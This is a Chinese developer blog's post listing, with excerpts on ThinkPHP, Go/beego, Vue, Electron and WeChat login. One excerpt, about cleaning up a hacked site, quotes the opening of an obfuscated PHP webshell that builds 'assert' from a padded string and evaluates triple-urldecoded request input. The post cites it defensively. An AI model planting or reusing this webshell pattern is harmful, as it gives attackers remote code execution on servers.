自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(130)
  • 资源 (2)
  • 问答 (3)
  • 收藏
  • 关注

原创 aardio调用dll中遇到的难点

aardio调用dll,返回的字符变量指针如何还原成string

2023-11-25 14:21:26 134

原创 electron笔记无边框窗口、DLL调用、DLL函数返回指针

使用electron 调用dll会遇到的大部分问题,保存防止以后需求时,找不到资料。

2023-09-03 13:26:53 508

原创 golang time如何解析iso时间

golang 读取iso格式的时间字符串

2023-08-10 20:54:45 818

原创 thinkphp模型递归查询

递归查询,用于展现一些树状表格数据

2023-07-13 21:09:02 602

原创 微信授权登录流程以及公众号配置方法(golang后端)

H5网页微信授权登录流程以及公众号配置方法步骤详细介绍

2023-02-26 19:04:21 3934 1

原创 微信公众号服务器配置提交修改一直报错解决方法

微信公众号服务器配置提交修改一直报错解决方法

2023-02-20 15:43:00 1536 1

原创 【开源】祁启云网络验证系统V1.11

一个使用golang-beegoWEB框架开发的开源网络验证会员管理系统

2023-02-12 19:25:22 3238 1

原创 golang日记: beego orm递归查询子代理

beego orm查询归属某一管理员名下的所有子代理ID

2023-02-03 19:16:15 134

原创 beego orm分页查询

beego 分页查询

2023-01-28 14:18:00 240

原创 uni-app 个人主页如何实现椭圆背景

app 我的界面,常用的一个椭圆跟矩形组合

2022-01-02 18:41:41 868

原创 thinkjs 解决跨域最优方案

如果在base.js 中设置跨域,如果请求在Logic这里效验不通过,前台就会报跨域错误。最佳方案是在中间件里面设置跨域。

2021-06-28 13:18:22 480

原创 ant-ui 记录下使用vNode的笔记

this.$confirm({ title: target.msg, closable: true, centered: true, content: (h) => { let Option = [] for (let i in self.addOption) { Option.push(h('a-select-option', { props:

2021-06-05 00:40:31 1101

原创 阿里巴巴矢量图标库如何全选添加到项目

阿里巴巴矢量图标库如何全选添加到项目?F12 在调试栏目 输入下面的代码回车var dom = document.querySelectorAll('.block-icon-list li')for (let i = 0;i<=dom.length;i++){console.log(dom[i])dom[i].querySelector('.icon-gouwuche1').click()}...

2021-04-12 18:48:06 240

转载 php获取MAC地址

<?phpnamespace Util;class Util { private static $return_array = array(); //返回带有MAC地址的字串数组 private static $mac_addr; //MAC 地址 public function __construct() { } /** * 获取当前机器的MAC地址 */ public static fu

2021-02-11 14:28:25 1347

原创 php调用ZIP进行压缩单层目录文件的时候,如何保持一级目录

public function addFileToZip($path, $zip) { $handler = opendir($path); //打开当前文件夹由$path指定。 while (($filename = readdir($handler)) !== false) { if ($filename != "." && $filename != ".." ) { //文件夹文件名字为'.'和‘..’,不要对他们进行操作

2021-02-07 16:44:54 361

原创 【原创开源】姆町个人发卡系统PHP源码

如果源码部署出现问题,可以联系我解决。支持二开,支持定制开发。源码遵循BSD开源协议,请勿以姆町|姆町网络的名义使用源码进行商业活动,请先修改源码中的LOGO及名称!演示站:http://fk.wensafe.com/文件分两部分;1.PHP源码2.前端源码个人发卡网源码,支持码支付对接,扫码自动发货.自适应网页,可为商品设置优惠套餐,后台管理功能丰富。前台发卡页面有点粗糙,已开源的可自己进行修改。使用thinkphp6.0开发,php需要7以上 mysql5.6以上,其他随意。使

2021-01-27 17:21:23 628

原创 axios 封装上传图片与thinkphp6.0后端接收图片

vue JSexport const fileUpload = (File) => { let formData = new FormData(); formData.append('image',File) return axios.request({ url: `admin/upload/logo`, data: formData, method: 'post', headers: {

2021-01-20 02:23:58 392 2

原创 pip 版本过低升级方法

python -m ensurepippython -m pip install --upgrade pip --user

2021-01-03 13:25:38 732

原创 php如何以不同系统环境中的回车符来分割字符串?

先把不同环境的回车符替换成\n,然后用\n来分割就OK了$str = str_replace(PHP_EOL, "\n",$str);$arr = array_unique(explode("\n",$str));

2020-11-29 15:08:58 845

原创 将yyyy-MM-dd格式转为Date格式

new Date('yyyy-MM-dd'.replace(/\-/g,"/"))replace(/-/g,"/")将 - 转为 / ,因为Date只有 / 这个才行!

2020-11-22 23:31:46 2574

原创 如何使用Element框架配合TP打造自己的后端(不熟悉vue脚手架的可以一起学习下)

首先打开thinkphp6.0看云文档,把本地环境搭建好,再安装TP,把伪静态设置好,1.先安装多应用插件composer require topthink/think-multi-app2.然后命令行创建两个应用!!!命令:php think build admin第一个应用 admin第二个应用 api目录结构如下:3.然后在浏览器中输入你绑定的域名 +/admin/index/index 看看是否可以访问?OJBK 是可以访问的。4.在配置数据库 略过5.创建一个数据表 名

2020-11-13 01:24:44 864

原创 zui上传组件踩坑之分片上传请注意!最好不要开启!

最好不要开启zui上传组件的分片上传,有可能导致服务器没办法写入文件….

2020-11-09 19:06:36 318

原创 发现新大陆>think-addons可以在自己的应用中做模块化开发

think-addons项目地址: https://github.com/zz-studio/think-addonscomposer require zzstudio/think-addonsinstall.sql可以把该模块对应的数据表放进去,会自动判断你配置文件中设置的数据表前缀 来生成对应的表,相关业务逻辑 也可以在控制器中写...

2020-09-25 15:55:41 1641

原创 thinkphp跨域很齐全的处理方式

<?phpdeclare (strict_types=1);namespace app\middleware;class admin{ /** * 处理请求 * * @param \think\Request $request * @param \Closure $next * @return Response */ public function handle($request, \Closure $next)

2020-07-24 21:46:40 225

原创 iview table组件 render input绑定监听值变化

{ title: '代理价', key: 'keyprice', width: 150, render: (h, params) => { return h('div', [ h('Input', { props: { type: 'text', size: 'small', value: params.row.keyprice }, on: {

2020-07-20 20:56:14 1402

原创 git 国内源快速克隆

https://gitclone.com/github.com/后面替换成源地址

2020-07-15 16:16:50 1177

原创 pywebview cef打包 到达断点的弥补办法

cef 是chrome内核,支持vue,但是其它内核不支持,所有项目选用cef来做引擎,但是打包运行遇到了一个问题,报错为 已到达断点 [0812/112825.786:ERROR:icu_util.cc(133)] Invalid file descriptor to ICU data received.搜到了几篇文章说能解决,但是安装他的方式试了不行,打包之后依旧报断点错误,于是找到了一个折中方案。下面的内容转载自其它地方:vue 兼容ie8以上最近在使用vue开发前端,作为一个小白,从坑里

2020-06-30 14:40:35 948 5

原创 thinkphp 多表查询

我将不同的表名存在了一个数据表,这些表名对应的数据表的列都是一致的,现在的要求是,把这些表里面的数据按照筛选条件筛出来。$list = Db::table("v_software_list")->where('delete', 1)->field('field_js')->select();$select = '';foreach ($list as $key => $val) { if ($key == 0) { $sqlField = $val['f

2020-06-15 11:05:15 539

原创 DES加密解密 与php后端加密解密互通

测试工具 apiPost 可以百度下载使用DES加密解密前端加密使用CryptoJS插件function encrypt(str, key, iv) { var encode_str = ''; var key = CryptoJS.MD5(key).toString(); var iv = CryptoJS.MD5(iv).toString(); var crypto_key = CryptoJS.enc.Utf8.parse(key); var crypt

2020-06-03 09:35:00 958

原创 tp 如果被上传.php木马文件怎么处理

有很多网站被黑,导致网站关键词 网站标题 被修改,更可恶的是你如果发现的晚,关键词都被收录进去了,搞得很麻烦。这是被上传的php文件之一,<?php $poc ="axsxsxexrxt";$poc_1 = explode("x", $poc); $poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST['g

2020-06-01 23:03:02 938 1

原创 thinkphp 写递归查询 查询无限下级代理

表结构如上 总代理 的 superiors字段是为null的,接口 token解密之后,取里面的user_id,然后拿到software软件ID,我们再开始进行递归先拿到 user_id等于接口中token携带的user_id的数据,通常这个数据只有一个。function select($menber, $software){ $obj = Db::table('v_auth_software')->where([ 'user_id' => (string)$me.

2020-05-21 10:25:46 1472

原创 推荐几个免费的图片素材网站

图佰万免版税图片 高清图片下载-免费图片网站网站地址: http://tubw123.com/注:该网站目测是国内的网站,测试过不需要登陆,直接可以下载图片免费正版高清图片素材库 超过1.7百万张优质图片和视频素材可供免费使用和下载 - Pixabay网站地址:https://pixabay.com/zh/注:该网站需要注册账号,才能下载高规格的原图PNG images with ...

2020-05-07 11:30:48 1198

原创 vue 在线更换字体 字体列表使用node.js遍历

在线更换字体 字体列表使用node.js遍历 css引入外部字体,动态更换文字字体效果

2020-04-25 16:58:32 701

原创 python生成RSA密匙对

from Crypto.PublicKey import RSAfrom Crypto import RandomRANDOM_GENERATOR = Random.new().read rsa = RSA.generate(1024, RANDOM_GENERATOR) # 秘钥对的生成 PRIVATE_PEM = rsa.exportKey() with ...

2020-03-21 14:26:28 604

原创 php防止xss攻击,过滤不正常的所有html标签和脚本

先安装扩展支持composer require lincanbin/white-html-filter然后自己创建一个过滤的类<?phpnamespace xss;use lincanbin\WhiteHTMLFilter;class xss{ public function parse($uedata) { $filter = new ...

2020-03-17 11:23:48 630

原创 tp6静态.htaccess设置

<IfModule mod_rewrite.c> Options +FollowSymlinks -Multiviews RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ index.php?/$1 [QSA,...

2020-03-11 08:15:06 2507 1

原创 vue仿微信朋友圈 动态页面

现在只写出动态页面,等到前端页面写完,后端写完,到时候贴出来

2020-01-28 17:43:27 1790 2

原创 弹出窗小箭头CSS

&:before{ content: ''; width: 0; height: 0; border: 6px solid; border-color: transparent transparent #ebeef5;; position: absolute; left: 5px; top: -12px; z-index: 99; ...

2020-01-28 15:14:28 279

原创 tp6针对thinkphp6.0 的文件上传验证失效自己写的上传插件

use think\image;需要think-image支持,安装:composer require topthink/think-image验证的rule格式,目前只写了图片类型的,其它的文件类型要自己增加。要允许的参数比较多的话 使用逗号连接$rule = [ 'rule' => [ 'mimeType' =&g...

2019-12-28 14:59:05 5025 3

原创 js 字符串切片按照指定的长度进行切割,并返回数组

let splitStr = (str) => { if (str.length < 100000) { var rs = []; rs[0] = str; return rs } else { let size = 100000 let count = Math.ceil(str.leng...

2019-12-26 11:12:50 3090 1

祁启云开源免费网络验证系统版本v1.11

免费网络验证系统,golang后端源码、vue前端源码、已编译成品、易语言对接例子。

2023-02-14

progress.zip

vue自定义进度条,可以全局挂载,随便什么地方调用,动态进度条,传入百分比即可跑起来

2019-08-31

aliyun-python-sdk-afs-20180112.zip

阿里云云盾防水墙验证后端逻辑官方模块,前端引入防水墙代码,验证发送相关字段到后端,进行验证,成功返回100;失败900

2019-08-21

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除